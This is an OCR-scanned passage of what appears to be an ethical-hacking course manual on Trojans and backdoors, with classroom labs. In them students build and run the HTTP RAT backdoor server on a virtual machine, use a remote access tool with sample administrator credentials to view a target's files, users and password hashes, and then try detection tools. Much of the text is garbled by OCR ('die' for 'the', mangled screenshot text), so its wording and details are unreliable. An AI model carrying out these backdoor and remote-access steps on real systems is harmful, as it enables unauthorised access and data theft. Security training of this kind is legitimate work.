| / bbc.co.uk :1301
Hccepting New Kequestsm
Accepting New Requestsm
/ :www.bbc.co.uk :1200
. Accepting New Requests!
m  Accessing web page Accepting New Requestsm
. Accepting New Requests!
using proxy server Accepting New Requests!
Accepting New Requestsm
Accepting New Requests!
Acceptin% New Requests!
static .bbci.co.uk: /franeworks/barlesque/2.10.0/desktop/3.5/style/r*ain.css :200!
Accepting New Requestsm
static.bbci.co.uk: /bbcdotcon/0.3.136/style/3pt_ads .css :200!
Accepting New Requests!

FIGURE 4.11: Background information on Proxy server

16. You can see diat we had accessed die Internet using die proxy server
Trojan.

Lab Analysis

Analyze and document die results related to die lab exercise. Give your opinion on
your target’s searntv posture and exposure dirough public and tree information.
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PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Tool/Utility Information Collected/Objectives Achieved
Proxy Server Output: Use the proxy server Trojan to access the
Trojan Internet

Accessed webpage: www.bbc.co.uk

Questions
1. Determine whether McAfee HTTP Proxy Server Trojan supports other

ports that are also apart from 8080.

2. Evaluate the drawbacks of using the HTTP proxy server Trojan to access
the Internet.

Internet Connection Required
0 Yes O No
Platform Supported

0 Classroom O !Labs

Ethical Hacking and Countemieasures Copyright © by EC-Council
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Module 06 - Trojans and Backdoors

HTTP Trojan

A. Trojan is aprogram that contains malicious or harmful coce inside apparently
harmless programming or data in such a iray that it can get control and cause
damage, such as mining thefile allocation table on a hard drive.

Lab Scenario

Hackers have a variety ot motives for installing malevolent software (malware).
This types of software tends to vyield instant access to the system to
continuously steal various types of information from it, for example, strategic
company’s designs O1"numbers of credit cards. A backdoor is a program or a set
of related programs that a hacker installs 011 the victim computer to allow
access to the system at a later time. A backdoor’s goal is to remove the evidence
of initial entry from the systems log. Hacker—dedicated websites give examples
of many tools that serve to install backdoors, with the difference that once a
connection is established the intruder must log 11l by entering a predefined
password.

You are a Security Administrator of your company, and your job responsibilities
include protecting the network from Trojans and backdoors, Trojan attacks,
theft of valuable data from the network, and identity theft.

Lab Objectives

The objective of tins lab is to help students learn to detect Trojan and backdoor
attacks.

The objectives of the lab include:
e Torun HTTP Trojan 01l Windows Server 2008

¢ Access the Windows Server 2008 machine process list using the HTTP
Proxy

¢ Kill running processes 011 Windows Server 2008 Virtual Machine

Lab Environment

To carry out diis, you need:
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' HTTP RAT located at D:\CEH-Tools\CEHv8 Module 06 Trojans and
Backdoors\Trojans Types\HTTP HTTPS Trojans\HTTP RAT TROJAN

m A computer nuining Window Server 2008 (host)
m  Windows 8 nuniing 1 Virtual Maclune
m  Windows Server 2008 111 Virtual Machine

m |fyou decide to download the latest version, then screenshots shown
111 the lab might differ

You need aweb browser to access Internet

m  Administrative privileges to mn tools

Lab Duration
Time: 20 Minutes

Overview of Trojans and Backdoors

A Trojan is a program that contains malicious or harmful code inside apparently
harmless programming or data 111 such a way diat it can get control and cause
damage, such as ruining die file allocation table on a hard dnve.

Note: The versions of die created client or host and appearance may differ from
what it is 111 die lab, but die actual process of connecting to die server and accessing
die processes is same as shown 111 diis lab.

Lab Tasks

HTTP RAT 1. Log 11 to Windows 8 Virtual Machine, and select die Start menu by
hovering die mouse cursor on die lower-left corner of die desktop,

Ricytitom

*

a
Moitla
firefox

Google
Chremr

Windows 8 Release Previev.
bl Evaluation copy Build 840C

FIGURE 5.1: Windows 8 Start menu

2. Click Services ui the Start menu to launch Services.
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Start
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Google
m m Chrome
Video 9
Mozilla services
| 5| * Firefox
[N
Weiner

m B &

Calendar Intemet

tfecttop Uapt

Byloer  Slcfe

m aS

FIGURE 5.2: Windows 8 Start menu Apps

View  Hdp

+1HIE a HI 0 al »

Services ;local)

3. Disable/Stop World Wide Web Publishing Services.

World Wide Web Pubfahng Service Name Description  Status  Startup Type
34'Windows Firewall Windows Fl«  Running  Automatic
Viindcv/s Font Cache Service Optimizes p.. Running ~ Automatic
Windows Image Acquisitio... ~ Provides im Msnu3l
Windows Installer Adds, modi... Menus!
Description: V Windows Management Inst.. Providesac.. Running Automatic
Provides Web comectrirty and AW indows Media Player Net... Shares Win... Manual
adminstraton through the Interret
Infermation Services Manager "W indows Modules Installer  Enables inst... Manual
£6V/indews Process Activatio... TheWindo... Running  Manual
£$ Windows Remote Manage... WindowsR... Menus!
Windows Search Provides CO- Running  Automatic (D._
Windows Store Service (W5... Provides inf.. Manual (Tng.
Windows Tim# Maintains d.. Manual (Tng..
Q Windows Update Enablesthe... Manual (Tng.
*%WInHTTP Web ProxyAuto .. WinHTTPi.. Running  Manual
3% Wired AutoConfig The Wired... Manual
& WLAN AutoConfig The WLANS.. Manual
®I"WM Performance Adapter  Provide; pe.. Manual
Workstation Craatec and...  Running  Automatic
P | World Wide Web Publnhin... Provide! W... Running ~ Menusl
- WWAN AutoConfig This service .. Manual

\ Mended ~Standard/

<

FIGURE 5.3: Administrative tools -> Services Window

Loc

select

4. Right-click the World Wide Web Publishing service and
Properties to disable the service.
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World Wide Web Publishing Service Properties (Local...
General LogOn Recovery Dependencies

Service name:  W3SVC
Displayname: ~ World Wide Web Publishing Service

Description: ivides Web connectivity and administration
Jughthe Intemet Information Services Manager

Pathto executable:
C:\Windows\system32\svchost.exe -k iissvcs

Startup type: Disabled

Helo me configure service startup options.

Service status:  Stopped

Start Stop Pause Resume
You can specify the start parameters that apply when you start the service
from here
Start parameters

OK Cancel Apply

FIGURE 5.4: Disable/Stop World Wide Web publishing services

5. Now start HTTP RAT from die location Z:\CEH-Tools\CEHv8
Module 06 Trojans and Backdoors\Trojans Types\HTTP HTTPS
Trojans\HTTP RAT TROJAN.

O HTTP RAT 0.31

rV KHTTP RAT

]
IUUJ The send notification -W backdoor Webserver

option can be used to send by zOmbie
the details to your Mail ID 2

latest version here: [http://freenet.am/~zombie] I

settings
w  send notification with ip address to mail

SMTP server 4 sending mail
u can specify several servers delimited with ;

smtp. mail. ru;$ome. other, smtp. server;
your email address:

lyou@maillcom
close FireWalls server port: [80"
Create Exit
FIGURE 55: HTTP RAT main window

6. Disable die Send notification with ip address to mail option.

7. Click Create to create a httpserver.exe file.
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i HTTP RAT 0.31 E I I

/VKHTTP RAT

Ibackdoor Webserver

'rf-T s nY 20mbie
v0.31

latest version here: [http://freenet.am/~zombie]
seiuriys
send notification with ip address to mail|

SMTP server 4 sending mail
u can specify several servers delimited with ;

| smtp. mail. ru;some. other, smtp. server;
your email address:

lyou@mail.com
close FireWalls server port: 180
|i Create il - Exit
FIGURE 5.6: Create backdoor

HTTP RAT 0.31

/V \HTTP RAT
| -W ~backdoor Webserver
done!

done
send http5erver.exe 2 victim

OK
lyou@mail.com
w close FireWalls server pork:[
Create Exit

FIGURE 7.3: Backdoor server created successfully

Tlie httpserver.exe tile should be created 1l die folder Z:\\CEHv8
Module 06 Trojans and Backdoors\Trojans Types\HTTP HTTPS
Trojans\HTTP RAT TROJAN

Double-click the tile to and click Run.
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Application Tool*

HTTP RAT TROJAN

Momge

IS o %

In-J Cod/ path
0 »«te <harcut to*  to-

Clipboard | a
0 ® |« HTTPHTIPS Trojans >
Favorites N3me
= Desktop Z ittpiat
4 Downloads | htipscfver |

&l Recent places
1 .readme
A Libraries
11 Documents
Music
B Pictures

gE Videos

Homegroup

T® Computer
il. Local Oslr (C)
4-' CEH-Tcols (\10.
Ip Admin (admin-p

4 items litem selected iO.: KB

BQ New item * * slopen' EES««tl
Easy access ' 0 Edit N Select aone

<t) History 0D Inrert <elertiOn
Open File ~ Security Warning

The publisher could not bp verified. Are you dire you wantto run thk
software?

[9j "Name ..TTP HTTPS Trojans\HTTP RAT TROJAN\httpservcr.cxc
~ Publisher: Unknown Publisher
Type Application
From: Z:\CEHv8 Module06 Trojans and BackdoorsJrojansT"

Run Cancel

This file docs not have  valid digital signature that verifies its

"3 ?uglisher I&(sﬁo lld TVHJUH S&f)lwais from publishers you trust

FIGURE 5.8: Running the Backdoor

10. Go to Task Manager and check if die process is mnning.

File Options View

Processes Performance App history Startup Users Details ~Services

Name

Apps (2)
> Task Manager

> A Windows Explorer

Background processes (9)
H  Device Association Framework...
S| Httpserver (32 bit)

Microsoft Windows Search Inde...

tfif' Print driver host for applications
m  Snagit (32 bit)
j[/) Snagit Editor (32 bit)
[w™] Snagit RPC Helper (32 bit)

t OR) Spooler SubSystem App

0 TechSmith HTML Help Helper (...
W in do “*a. (> ffe Tt ="t

(*) Fewer details

30% 52% 4% 0%
Status CPU Memory Disk Network
1.9% 6.8 MB 0 MB/s 0 Mbps
0% 251 MB 0.1 MB/s 0 Mbps
0% 33MB 0MB/s 0 Mbps
0% 12 MB 0 MB/s 0 Mbps
0% 4.9 MB 0MB/s 0 Mbps
0% 1.0MB 0 MB/s 0 Mbps
19.7% 22.4MB 0.1 MB/s 0 Mbps
0% 19.2 MB 0 MBI/s 0 Mbps
1.7% 0.9 MB 0 MB/s 0 Mbps
0% 15MB 0 MB/s 0 Mbps
0% 0.8 MB 0MB/s 0 Mbps

FIGURE 5.9: Backdoor running in task manager

11. Go to Windows Server 2008 and open a web browser to access die
Windows 8 machine (here “10.0.0.12” is die IP address ot Windows 8

Machine).
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*Drabe’S KTTP RAT
c| I£«" iooale P] * D -

welcome 2 IITTP_RAT infected computer }:]

.es] [brov!6«] [comouter info] [stoo httorat] [have auaaestions?] [homeoace]

wplrnme }:J

FIGURE 5.10: Access the backdoor in Host web browser

12. Click running processes to list the processes running on die Windows
8 machine.

Z>nbe's HTTP_RAT
14m & 1000.iZproc C 21" iogjle p A E-

running processez:

stem Process]
S/stem Ikilll

sirss.exe [Kil
Wmaeﬂ%ﬂ
whi I

services.exe f.[<|II]
kass.exe [kid¥
;vchoctoxQ r
:vcho5t.exe rl<iffl
svchostexe fkiin
dvirr.exe Ikilll
svchostexe [kill]
evehoct.axa [MID
vchosl cxa UdD

spoolsv exe HHH

svchostexe |[kill)
sychostexe ‘k\ll
ova "11 |
P <fklin
svchostexe [killl
5vchost exe [k‘l‘q
ackholf @x*» [kn]

searcﬁlndexer exe ?L.m
Snaglt32.exe
TscHst exe

Wﬂ”
svchostexe fktlll

httpserver.exe
Taskmor.«x*

FIGURE 5.11: Process list of die victim computer

13. You can kill any running processes from here.

Lab Analysis

Analyze and document the results related to die lab exercise. Give your opinion on
your target’s secuntv posture and exposure dirough public and tree mformadon.
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PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Tool/Utility Information Collected/Objectives Achieved
Successful send httpserver.exe 011 victim machine

Output: Killed Process

System

slllss.exe

CSrss.exe
HTTP Trojan winlogon.exe
services.exe
Isass.exe
svchost.exe
dwm.exe
splwow64.exe
httpserver.exe

tlretov.exe

Questions
1 Determine the ports that HTTP proxy server Trojan uses to communicate.

Internet Connection Required

O Yes 0 No
Platform Supported
0 Classroom 0 iLabs
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Remote Access Trojans Using

Atelier Web Remote Commander

.4 Trojan is aprogram that contains malicious or harmful code inside apparently
harmless programming or data in such a ))ay that it can get control and cause
damage, such as ruining thefie allocation table on a hard drive.

Lab Scenario

A backdoor Trojan is a very dangerous infection that compromises the integrity
of a computer, its data, and the personal information of the users. Remote
attackers use backdoors as a means of accessing and taking control of a
computer that bypasses security mechanisms. Trojans and backdoors are types
of bad-wares; their main purpose is to send and receive data and especially
commands through a port to another system. This port can be even a well-
known port such as 80 or an out of the norm ports like 7777. Trojans are most
of the time defaced and shown as legitimate and harmless applications to
encourage the user to execute them.

You are a security administrator of your company, and your job responsibilities
include protecting the network from Trojans and backdoors, Trojan attacks,
theft of valuable data from the network, and identity theft.

Lab Objectives

The objective of tins lab is to help students learn to detect Trojan and backdoor
attacks.

The objectives of tins lab include:
» Gain access to a remote computer

e Acquire sensitive information of the remote computer

Lab Environment

To cany out tins, you need:

1. Atelier Web Remote Commander located at D:\CEH-Tools\CEHV8
Module 06 Trojans and Backdoors\Trojans Types\Remote Access
Trojans (RAT)\Atelier Web Remote Commander
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m A computer running Window Server 2008 (host)
m  Windows Server 2003 running in Virtual Machine

m |f you decide to download the latest version, then screenshots shown
111 the lab might differ

m  You need aweb browser to access Internet

m  Administrative privileges to run tools

Lab Duration

Time: 20 Minutes

Overview of Trojans and Backdoors

A Trojan is a program that contains malicious or harmful code inside apparently
harmless programming or data 111 such a way that it can get control and cause
damage, such as ruining the tile allocation table on a hard drive.

Note: The versions of the created client or host and appearance may dilfer from
what it is 111 die lab, but die actual process of connecting to die server and accessing
die processes is same as shown 111 diis lab.

a* TASK 1 Lab Tasks
Atelier Web 1 Ins_ta:jll and launch Atelier Web Remote Commander (AWRC) 111
Remote Windows Server 2012.

Commander 2. To launch Atelier Web Remote Commander (AWRC), launch the
Start menu by hovering the mouse cursor on the lower-left corner of
the desktop.

§
€
=3 Windows Server 2012
. vy
FIGURE 6.1: Windows Server 2012 Start-Desktop
3. Click AW Remote Commander Professional 1l the Start menu apps.
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Start Administrator A

AN
Took fieoiote

Connwn..
4 &

FIGURE 6.2: Windows Server 2012 Start Menu Apps

4. The main window of AWRC will appear as shown 111 the following
screenshot.

'0 AWRC PRO 9.3.9
File Tools Help

Desktop Syclnfo NetwarkInfo FJ# Sy*t*fn Uc*rs *nr. Grocpc Chat

0 Tliis toll is used to
gain access to all the
information of die Remote
system

Progress Report

y., Connect Disconnect

df 0 Requestajthonrabor @ dear oniscomect

fiytesin: C k8psin: 0 Connection Duraton
FIGURE 6.3: Atelier Web Remote Commander main window

5. Input the IP address and Username | Password of the remote
computer.

6. 1itins lab we have used Windows Server 2008 (10.0.0.13):
m  User name: Administrator
m  Password: qwerty@123

Note: The IP addresses and credentials might differ 111 your labs

7. Click Connect to access the machine remotely.
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FIGURE 6.4: Providing remote computer details

Tools 8. The following screenshots show that you will be accessing the
demonstrated in Windows Server 2008 remotely.
this lab are
) i S 10.0.0.13 :AWRC PRO9.3.9
available in File Tools Help
D\CEH' Desktop SyslInfo Networidnfb Fie System Use's anc Groups Chat

Tools\CEHV8
Module 06 Trojans
and Backdoors

Internet Exploer

windows update

j Notepad
I -~
& Fastest *TFV *29 Monitors *
Remote Host Progress Report
| administrator #16:28:24 Initializing, please wait...
#16:28:25 Connected to 10.0.0.13
W Connect ~ Disconnect
¢f O Requestajthoniabor @ Clear on iscomect
ksyle*111; 201.94 kBAlIL 0.87 CumcLiimi Duiaimi: iMinuce, 42 Seconds.

FIGURE 6.5: Remote computer Accessed

9. The Commander is connected to the Remote System. Click tlieSys
Info tab to view complete details of the Virtual Machine.
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FIGURE 6.6: Information of the remote computer
10. Select NetworkInfo Path where you can view network information.

S 10.0.0.13: AWRC PRO9.3.9

File lools Help

Desktop Sysinfo | Networidnfo | Ffe System Use's anc Grocps Chat

\Por\sSafElies \PITransporlPrmuculs
Remark Permissions  Max Uses Current Uses  Path Passwoid
o6 ohe. Daenan  mcepploa, unkmoed nocvall
& Tools IPCS Spe .. Remote IPC netapplica  unlimited not vaN
demonstrated in
this lab are
available in
D:\CEH-
Tools\CEHvV8
Module 06 Trojans
and Backdoors
Remote Host Progress Report

#16.28.24 Initializing, please wait

#16:28:25 Connected to 10 0.0.13
~  Connect A/ Disconnect

eP D Request ajthonrabor @ dear on iscomect

Ifiytesin: 250.93 kSps In: 0.00 Connection Duraton: 5Minutes, 32 Seconds.
FIGURE 6.7: Information of the remote computer

11. Select the File System tab. Select c:\ from the drop-down list and

click Get.
12. Tins tab lists the complete files ol the C:\ drive of Windows Server
2008.
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10.0.0.13: AWRC PRO9.3.9

file lools Help

Desktop SyslInfo Networicnfb | Fie System | Use's and Groups Chat

contents of 'C!"

ClJ SRecycle Bin
Cl Boot

C3 Documents and Settings
CO PerfLogs

D Program Files (x86)

O Program Files

C1 ProgramData

D System Volume Inform...

0O Users
O Windows
File System: NTFS Type Fixed Capacity: 17,177,767.936 bytes
Serial Number: 6C27-CD39 Labei: Free space: 6.505.771.008 bytes
Progress Report
| administrator #16.28.24 Initializing, please wait...
Password #16:28:25 Connected to 10.0.0.13
~  Connect Disconnect
cf ]Request ajthoriratxx™ @ Oear on iscomect
kBytesin: 251.64 ConnectonCXjraton: 6 Minutes, 18 Seconds.

FIGURE 6.8: Information of the remote computer

13. Select Users and Groups, which will display the complete user
details.

= n
10.0.0.13 :AWRC PRO 9.3.9 D

File Jools Help
Desktop  Sysinfo  Networkdnfo ~ Ffe System  Use's anc Groups | Chat

JUsers A Groups \ Password Haties

User Information for Administrator

User Account. Administrator

Password Age 7 days 21 hours 21 minutes 33 seconds
Privilege Level: Administrator

Comment Built-in account for administering the computer/domain
Flags: Logon script executed. Normal Account.

Full Name:

Workstations can log from: no restrictions

Last Logon: 9/20/2012 3:58:24 AM

Last Logoff: Unknown

Account expires Never expires

User ID (RID) 500

Pnmary Global Group (RID): 513

SID S 1521 1858180243 3007315151 1600596200 500
Domain WIN-EGBHISG14L0

No SubAuthorties 5

Remote Host User Name Progress Report
10.0.0.13 [administrator #16:28:24 Initializing, please wait...
Password #16:28:25 Connected to 10.0.0.13
W Connect ~ Disconnect

nf D Requestajthon:at>or @ Oear on iscomect

kByle* 111: 256.00 Cumeuiimi3ulatu<l: e Minutes, 26 Seconds.

FIGURE 6.9: Information of the remote computer
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rs

file lools Help

Desktop SyslInfo

10.0.0.13: AWRC PRO9.39

NetwortJnfo We System Use's and Groups Chat

\ | Groups ~ |y Passwoid Ha«hes

Names SID Comment

Groups:  Administrators S-1-5-32-544 (Typo Alias/Do Administrators have complete and unrestricted
Backup Operator S-1-5-32-551 (Type Alias/Do Backup Operators can override security restrict
Certificate Service DC S-1-6-32-674 (Type Alias/Do . Members of this group are allowed to connect t«

Cryptographic Oserat S-1-5-32-569 (Type Alias/Do Members are authorized to perform cryptograph
Distributed COM Use's  S-1-5-32-562 (Type Alias/Do . Members are allowed to launch. actKate and us

Event Log Readers 5-1-5-32-573 (Type Alias/Do... Members of this group can read event logs from
Guests S-1-5-32-546 (Type Alias/Do Guests have the same access as members oft
< [ I
Global
Groups S-1-5-21-1858180243-3007315... Ordinary users
Progress Report
| administrator #16.28.24 Initializing, please wait...
Password #16:28:25 Connected to 10.0.0.13
~  Connect Disconnect
cf  JRequestajthonrabor @ dear on iscomect

kBytesIn: 257.54

Connection Ouraton: ?Minutes, 34Seconds.

FIGURE 6.10: Information of the remote computer

FIGURE 6.11: Information of the remote computer

14. Tins tool will display all the details of the remote system.

15. Analyze the results of the remote computer.

Lab Analysis

Analyze and document tlie results related to die lab exercise. Give your opinion on
your target’s security posture and exposure dirough public and tree information.
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PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Tool/Utility Information Collected/Objectives Achieved
Remotely accessing Windows Server 2008

Result: System information of remote Windows
Server 2008

Network Information Path remote Windows Server

Commander viewing complete tiles of c:\ of remote Windows
Server 2008
User and Groups details of remote Windows Server
2008
Password hashes
Questions

1. Evaluate die ports that AW'RC uses to perform operations.

2. Determine whether it is possible to launch AWRC from the command line
and make a connection. 1fves, dien illustrate how it can be done.

Internet Connection Required
O Yes 0 No

Platform Supported

0 Classroom
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Module 06 - Trojans and Backdoors

Detecting Trojans

A Trojan is aprogram that contains malicious or harmful coce inside apparently
harmlessprogramming or data in such a *¥aj that canget control and cause damage,
such as mining thefile allocation table on a hard drive.

Lab Scenario

Most individuals are confused about the possible ways to remove a Trojan virus
from a specific system. One must realize that the World Wide Web is one of
the tools that transmits information as well as malicious and harmful viruses. A
backdoor Trojan can be extremely harmful if not dealt with appropriately. The
main function of tins type of virus is to create a backdoor 11l order to access a
specific system. With a backdoor Trojan attack, a concerned user is unaware
about the possible effects until sensitive and important information is found
missing from a system. With a backdoor Trojan attack, a hacker can also
perform other types ot malicious attacks as well. The other name for backdoor
Trojans is remote access Trojans. The main reason that backdoor Trojans are
so dangerous is that they hold the ability to access a particular machine remotely
(source: http://www.combofix.org).

You are a security administrator of your company, and your job responsibilities
include protecting the network from Trojans and backdoors, Trojan attacks,
theft of valuable data from the network, and identity theft.

Lab Objectives

The objective of tins lab is to help students learn to detect Trojan and backdoor
attacks.

The objectives of the lab mclude:

¢ Analyze using Port Monitor
¢ Analyze using Process Monitor
e Analyze using Registry Monitor

¢ Analyze using Startup Program Monitor

e Create MD5 hash tiles for Windows directory files
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& Disabling and Deleting
Entries

If you don't want an entry to
active die nest time you
boot or login you can either
disable or delete it. To
disable an entry uncheck it.
Autoruns will store die
startup information in a
backup location so diat it
can reactivate die entry
when you recheck it. For
items stored in startup
folders Autoruns creates a
subfolder named Aiitoruns
disabled. Check a disabled
item to re-enable it

m. TASK 1

Tcpview

Module 06 - Trojans and Backdoors

Lab Environment

To carry out this, you need:

Tcpview, located at D:\CEH-Tools\CEHv8 Module 06 Trojans and
Backdoors\Port Monitoring Tools\TCPView

Autoruns, located at D:\CEH-Tools\CEHv8 Module 06 Trojans and
Backdoors\Process Monitoring Tools\Autoruns

PrcView, located at C:\CEH-Tools\CEHv7 Module 06 Trojans and
Backdoors\Process Monitor Tool\Prc View

Jv16 power tool, located at D:\CEH-Tools\CEHv8 Module 06 Trojans
and Backdoors\Registry Monitoring Tools\jv16 Power Tools 2012

FsumFrontEnd. located at D:\CEH-Tools\CEHv8 Module 06 Trojans
and Backdoors\Files and Folder Integrity Checker\Fsum Frontend

A computer running Window Server 2008 (host)
Windows Server 2003 running 111 Yutual Machine

If you decide to download the latest version, then screenshots shown
111 the lab might differ

You need aweb browser to access Internet

Administrative privileges to run tools

Lab Duration

Tune: 20 Minutes

Overview of Trojans and Backdoors

A Trojan is a program diat contains malicious or harmful code inside apparently
harmless programming or data 111 such a way that it can get control and cause
damage, such as ruining die lile allocation table on a hard drive.

Note: The versions of the created client or host and appearance may differ from
what it is 111 the lab, but the actual process of connecting to the server and accessing
the processes is same as shown 11 tins lab.

Lab Tasks
1 Go to Windows Server 2012 Virtual Machine.
2. Install Tcpview from the location D:\CEH-Tools\CEHv8 Module 06 Trojans
and Backdoors\Port Monitoring Tools\TCPView.
3. The TCPYiew main window appears, with details such as Process, Process
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ID, Protocol, Local address. Local Port, Remote Address, and Remote Port.
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TCPView - Sysinternals: www.sysinternals.com

Fle Options Process View Help

H a h |
|| Process »> PID Protocol Local Address Local Pott
Cl dns.exe 1572 TCP win-2n9stosgien domain w fl
T7 dns.exe 1572 TCP WIN-2N9STOSGL  domain Vi
T7 dns.exe 1572 TCP WIN-2NOSTOSGL 49157 wi
T7 dns.exe 1572 ubP win-2n9stosgien domain
. i- dnsexe 1572 UDP WIN-2N9STOSGL  domain
03 Should delete items that 1"7 dns.exe 1572 UDP WIN-2NOSTOSGL 49152
you do not wish to ever i 7 dns.exe 1572 uDP WIN-2NOSTOSGL 49153
execute. Do so by choosing i"7 dns.exe 1572 ubP WIN-2N9STOSGL 49154
Delete in the Entry menu. IF dns.exe 1572 UDP WIN-2N9STOSGL 49155
Only die currendy selected » dns.exe 1572 UDP WIN-2N9STOSGL 49156
. ill be deleted 1 dnsexe 1572 ubP WIN-2N9STOSGI.. 49157
itemwi : »1dns.exe 1572 UDP WIN-2NOSTOSGL 49158
T7 dns.exe 1572 UDP WIN-2N9STOSGL 49159
r dnsexe 1572 uDP WIN-2NOSTOSGI.. 49160
» dnsexe 1572 ubP WIN-2NOSTOSGL 49161
T dnsexe 1572 UDP WIN-2N9STOSGL 49162
' dnsexe 1572 ubP WIN-2N9STOSGI.. 49163
r dnsexe 1572 ubP WIN-2NOSTOSGI.. 49164
' dnsexe 1572 uDP WIN-2N9STOSGI.. 49165
' dns.exe 1572 ubP WIN-2N9STOSGI.. 49166
1" dnsexe 1572 ubP WIN-2N9STOSGI.. 49167
1 dnsexe 1572 uDP WIN-2N9STOSGL 49168
dns.exe 1572 uDP WIN-2N9STOSGL 49169
* | dns.exe 1572 uDP WIN-2N9STOSGI.. 49170
+ dnsexe 1572 UDP WIN-2N9STOSGL 49171 v
<r [ >
U
FIGURE 8.1: Tcpview Main window
tool perform port monitoring.
TCPView - Sysinternals: www.sysinternals.com | ~ | of X
1 Fle Options Process View Help
Yy a "I @
Process PID Protocol Local Address |Local Port RN
E | svchostexe 385G TCP WIN-2N9STOSGI.. 5504 Wi
(O svchostexe 892 TCP WIN-2N9STOSGI.. 49153 Wi
E| svchostexe 960 TCP WIN-2N9STOSGL 49154 wi
E| svchostexe 1552 TCP WIN-2N9STOSGL 49159 Wi
El svchostexe 2184 TCP WIN-2N9STOSGL 49161 wi
E svchostexe 3440 TP WIN-2NOSTOSGI.. 49163 Wi
E svchostexe 4312 TCP WIN-2N9STOSGI.. 49168 wi
E swchostexe 4272 TCP WIN-2N9STOSGL 49169 Wi
E svchostexe 1808 TCP WIN-2N9STOSGI.. 49187 Wi
1 swchostexe 1552 UDP win-2n9stosgien bootps
E svchost.exe 1552 UDP win-2n9stosgien bootpc
1' svchostexe 930 UDP WIN-2N9STOSGI... isakmp
E svchostexe — 1552 UbDP win-2n9stosgien 2535
[O svchostexe 3092 uDP WIN-2N9STOSGL 3391
. E svchost.exe 960 UDP WIN-2N9STOSGL teredo
G3 Ifyou are running E swchostexe 960 uDP WIN-2NOSTOSGI... ipsec-mst
Autoruns without E svchostexe 1064 UDP WIN-2N9STOSGI.. linmr *
administrative privileges on E svchostexe 960 ubP win-2ngstosgien 53441 *
Windows Vista and attempt T7 System 4 TCP win-2n9dstosgien netbios-ssn Wi
i 1+ System 4 TCP win-2n9stosgien microsoft-ds Wir
to change die Sta,te ofa . « 1System 4 TCP win-2n9stosgien microsoft-ds wit
global entry, you'll be denied - ' System 4 TP WIN-2N9STOSG... http wi
access ! system 4 TCP WIN-2N9STOSGL... https Wi
T7 System 4 TCP WIN-2N9STOSGI... microsoft-ds wi
« 1System 4 TCP WIN-2N9STOSGI... 5985 Wi v
n n >

FIGURE 82: Tcpview Mainwindow

5. Now itis analyzing die SMTP and odier ports.
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TCPView - Sysinternals: www.sysinternals.com -I'
File Options Process View Help
y a
J— ‘rotocol Local Address Local Port Remote Address Remote Pott Stat
& Autoruns will display a @ WIN-2N9STOSGL 3388 WIN-2NOSTOSGL 0 LIST
dialog with a button that o3 WIN-2N9STOSGL 5504 WIN-2N9STOSGL 0 LIsT
enables you to re-launch o) WIN-2N9STOSGL 49153 WIN-2N9STOSGL 0 st
Autoruns with P WIN-2NOSTOSGL 49154 WIN-2N9STOSGL.. 0 st
FENSTR P WIN-2N9STOSGL 49159 WIN-2N9STOSGI.. 0 LIST
administrative rights. You @ WIN-2NOSTOSGL 49161 WIN-2NISTOSG.. 0 usT
can also use the -e o2} WIN-2N9STOSGL 49183 WIN-2NOSTOSGI.. 0 st
command-line option to P WIN-2NOSTOSGL 49168 WIN-2N9STOSGI.. 0 st
launch initially launch (o3 WIN-2N9STOSGL 49169 WIN-2N9STOSGI.. 0 LIST
Autoruns with g; wlNz-ﬁglétaSTQSGL 33;87 \)/(VIN—ZNQSTOSGI.. 0 LIST
A . - WIN-; losgien ps
administrative rights oP win2n9stosgien _ bootpe . .
DP WIN-2N9STOSGL  isakmp "
DP win-2ngstosgien 2535 * "
DP WIN-2N9STOSGL 3391 * "
DP WIN-2N9STOSGL  teredo " "
DP WIN-2N9STOSGL  ipsecmsft * "
DP WIN-2N9STOSGL  linmr " "
DP win-2n9stosgien 53441 " "
P win-2n9stosgien netbios-ssn WIN-2N9STOSGL 0 LIST
03 win-2n9slosgien microsoft-ds win-egbhisgl 410 49158 EST,
P wirv2n9$tosgien microsoft-ds windows8 49481 EST,
o2 WIN-2N9STOSGL  http WIN-2N9STOSGI.. 0 st
CI There are several ways to o3 WIN-2N9STOSGL  https WIN-2N9STOSGL.. 0 LIST
get more information about r WIN-2N9STOSGL  microsoft-ds MN-ZNQSTOSGI.. 0 LIST
an autorun location or entry. < 1 -n

To view a location or entry
in Explorer or Regedit
chose Jump To in the Entry
menu or double-click on the
entry or location's line in the

FIGURE 8.3 Tcpview analyzing ports

You can also kill die process by double-clickuig diat respective process, and

display . oY )
dien clicking die End Process button.
Properties for dns.exe: 1572
| 77 Domain Name System (DNS) Server
Microsoft Corporation
Version:  G02.8400.0000
Path:
C:\Windows\System32\dns.exe
End Process
OK
FIGURE 84: Killing Processes
Im TASK 2 Go to Windows Server 2012 Virtual Machine.
Autoruns Double-click Autoruns.exe, which is located at D:\CEH-Tools\CEHv8
Module 06 Trojans and Backdoors\Process Monitoring Tools\Autoruns.
It lists all processes. DLLs, and services.
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o Autoruns [WIN-2N9STOSGIEN\Administrator] - Sysinternals: www.sysinter.J ~

File Entry Options User Help

Hijackslmage3 [ExecuteBoot3  [Codecs | Applnit | V KnownDLLs | A Wriogon
1ft Winsock Provtders ] & Print Monitors | tjj LSAProviders | £~ Network Providers | 9. Sidebar Gadgets
(6] Everything Logon < Explorer | & Internet Explorer | J  Scheduled Tasks | Services | Drivers
Autorun Entry Description Publisher Image Path
l}]f HKLM\SOFTWARE\Microsoft\Window$ NT\CurrentVers10n\WinlogOnlAppS etup

O You canview Explorer's 0 g] UsrLogon cmd c:\windows\system32\usrlo...
file properties d|a|og for an HKLM\S 0 FTWAR E\M croscrfttWndows\CurrentVersIOn\R un
entry's image file by 0 [m3HotKeysCmds hkemd Module Intel Corporation c:\windows\system32\hke...
Choosing Properties in dle 0 £3 lgfxTray . igfxTray M?dule Intel Corporat?on c:\W?ndows\system32\i.gfxtr...
Ent You can also 0 [wl Persistence persistence Module Intel Corporation c:\windows\system32\igfxp...

n ry menu. . $ HKLM\S 0 FTWARE\WO0w6432N ode\M icrosott\Wmdows\CurrentVersion\Run
have Autoruns aUtOmatlcal Iy E Adobe ARM Adobe Reader and Acrobat... Adobe Systems Incorporated c:\program files (x86)Vcomm...
execute an Internet search in 0 [wlAdobe Reader Adobe Acrobat SpeedLaun.. Adobe Systems Incorporated c:\program files (x86)\adob
